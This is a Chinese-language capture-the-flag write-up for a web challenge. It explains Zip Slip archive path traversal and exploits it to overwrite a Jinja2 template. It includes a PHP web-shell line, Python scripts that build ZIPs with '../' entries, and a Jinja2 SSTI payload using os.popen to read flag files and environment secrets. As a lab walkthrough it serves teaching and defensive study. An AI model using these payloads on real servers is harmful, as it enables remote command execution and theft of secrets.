ZeroCTF-Web_02.Zero Upload / 零重力主题包
本文分析了ZipSlip压缩包路径穿越漏洞的原理与利用方法。该漏洞源于程序解压时未校验压缩包内文件路径,攻击者可构造包含"../"的文件名,将文件解压到目标目录之外。通过制作恶意ZIP文件,利用路径穿越覆盖服务器模板文件(如Jinja2模板),触发模板渲染执行系统命令,最终成功读取flag。文章详细演示了从漏洞发现到利用的全过程,包括测试ZIP制作、路径穿越验证、模板覆盖和命令
一.题目描述


二.解题思路
1.确定方向
“压缩包里的路径,也许不只通向解压目录”提示也许压缩包里面的路径可以跳出目录,猜测是zip slip。
什么是zip slip?
Zip Slip 是一种压缩包路径穿越漏洞。简单说:程序解压 zip/tar 等压缩包时,如果没有检查压缩包里每个文件的路径,攻击者就可以构造带有 ../ 的文件名,把文件解压到目标目录之外,覆盖服务器上的任意文件。
(1)正常解压应该是什么样
假设服务器允许用户上传一个 zip,然后解压到:
/var/www/uploads/user1/
正常压缩包内容可能是:
avatar.png
readme.txt
images/a.jpg
解压后文件会变成:
/var/www/uploads/user1/avatar.png
/var/www/uploads/user1/readme.txt
/var/www/uploads/user1/images/a.jpg
这没问题。
(2)Zip Slip 的核心问题
攻击者可以把压缩包里的文件名改成这种:
../../../../var/www/html/shell.php
程序如果直接这样拼接路径:
target_path = upload_dir + "/" + zip_entry_name
就会得到:
/var/www/uploads/user1/../../../../var/www/html/shell.php
系统解析路径时,../ 表示返回上一级目录。
所以最终真实路径可能变成:
/var/www/html/shell.php
也就是说,虽然程序本来想把文件解压到:
/var/www/uploads/user1/
但攻击者让它写到了:
/var/www/html/
(3)漏洞本质
解压程序信任了压缩包内部的文件名,没有判断最终写入路径是否仍然在安全目录内。
危险点不在 zip 格式本身,而在程序解压逻辑写得不安全。
常见危险代码逻辑类似:
for file in zip.namelist():
zip.extract(file, upload_dir)
或者:
File outFile = new File(destDir, entry.getName());
如果 entry.getName() 是:
../../../../tmp/evil.txt
程序就可能把文件写到 destDir 外面。
(4)怎么利用
覆盖 Web 目录,写入 WebShell:
如果服务器是 PHP 环境,可以构造压缩包,里面放一个路径为:
../../../../var/www/html/shell.php
内容为:
<?php system($_GET['cmd']); ?>
上传并触发解压后,访问http://target/shell.php?cmd=cat /flag
如果成功,就能执行命令读取 flag。
覆盖配置文件
比如覆盖:
../../../../app/config.py
../../../../var/www/app/.env
可能可以修改密钥、数据库配置、管理员密码等。
写入模板文件:
如果是 Flask/Jinja2、Node/EJS、Java Thymeleaf 这类模板项目,可以尝试覆盖模板:
../../../../app/templates/index.html
写入恶意模板代码,触发 SSTI 或命令执行。
2.验证猜想

make_test_zip.py:
import zipfile
payload = r'''
<div class="photo-card">
<h2>Zip Slip Test</h2>
<p>If you see this, template overwrite succeeded.</p>
<p>7 * 7 = {{ 7 * 7 }}</p>
<p>Config flag = {{ config.get('ZEROG_FLAG') }}</p>
</div>
'''
with zipfile.ZipFile("test_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../../templates/theme/card.html", payload)
print("[+] created test_theme.zip")
上传该测试文件

显示模版覆写成功,说明
(1)ZIP 路径穿越成功
(2)Jinja2 模板确实被服务端渲染了
3.理解为什么能覆盖模版
后端本来想把主题包解压到类似这里:
/app/themes/随机目录/
但是 ZIP 里文件名是:
../../templates/theme/card.html
拼起来就是:
/app/themes/随机目录/../../templates/theme/card.html
路径化简后变成:
/app/templates/theme/card.html
这就是原本 Gallery 页面用的模板。
所以我们不是上传 WebShell,而是:
上传 ZIP
↓
利用 ../ 跳出主题目录
↓
覆盖 Jinja2 模板
↓
访问 /gallery 触发模板执行
4.构造读取 flag 的最终 ZIP
make_flag_zip.py
import zipfile
cmd = (
"cat /flag /flag.txt /app/flag /root/flag /home/ctf/flag 2>/dev/null; "
"env 2>/dev/null | grep -iE 'flag|zerog|gzctf'; "
"command -v readflag >/dev/null 2>&1 && readflag 2>/dev/null"
)
payload = f'''
<div class="photo-card">
<h2>Flag Leak</h2>
<p>Config flag: {{{{ config.get('ZEROG_FLAG') }}}}</p>
<pre>
{{{{ cycler.__init__.__globals__.os.popen({cmd!r}).read() }}}}
</pre>
</div>
'''
with zipfile.ZipFile("flag_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("../../templates/theme/card.html", payload)
print("[+] created flag_theme.zip")
import zipfile
payload = """
<pre>
{{ cycler.__init__.__globals__.os.popen('cat /flag 2>/dev/null').read() }}
</pre>
"""
with zipfile.ZipFile("flag_theme.zip", "w") as z:
z.writestr("../../templates/theme/card.html", payload)
print("flag_theme.zip created")

拿到了flag

flag{a7935615-8631-47cd-bba3-2770ee7fc44f}
5.完整复现过程
看到题目提示:压缩包路径可能不只通向解压目录
↓
确认上传主题包功能会解压 ZIP
↓
构造 ZIP 内部路径 ../../templates/theme/card.html
↓
利用 Zip Slip 覆盖 Gallery 页面使用的 Jinja2 模板
↓
访问 /gallery 触发模板渲染
↓
先用 {{7*7}} 验证模板执行
↓
再用 cycler.__init__.__globals__.os.popen() 执行命令
↓
读取 /flag、环境变量或 readflag
↓
拿到动态 flag
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)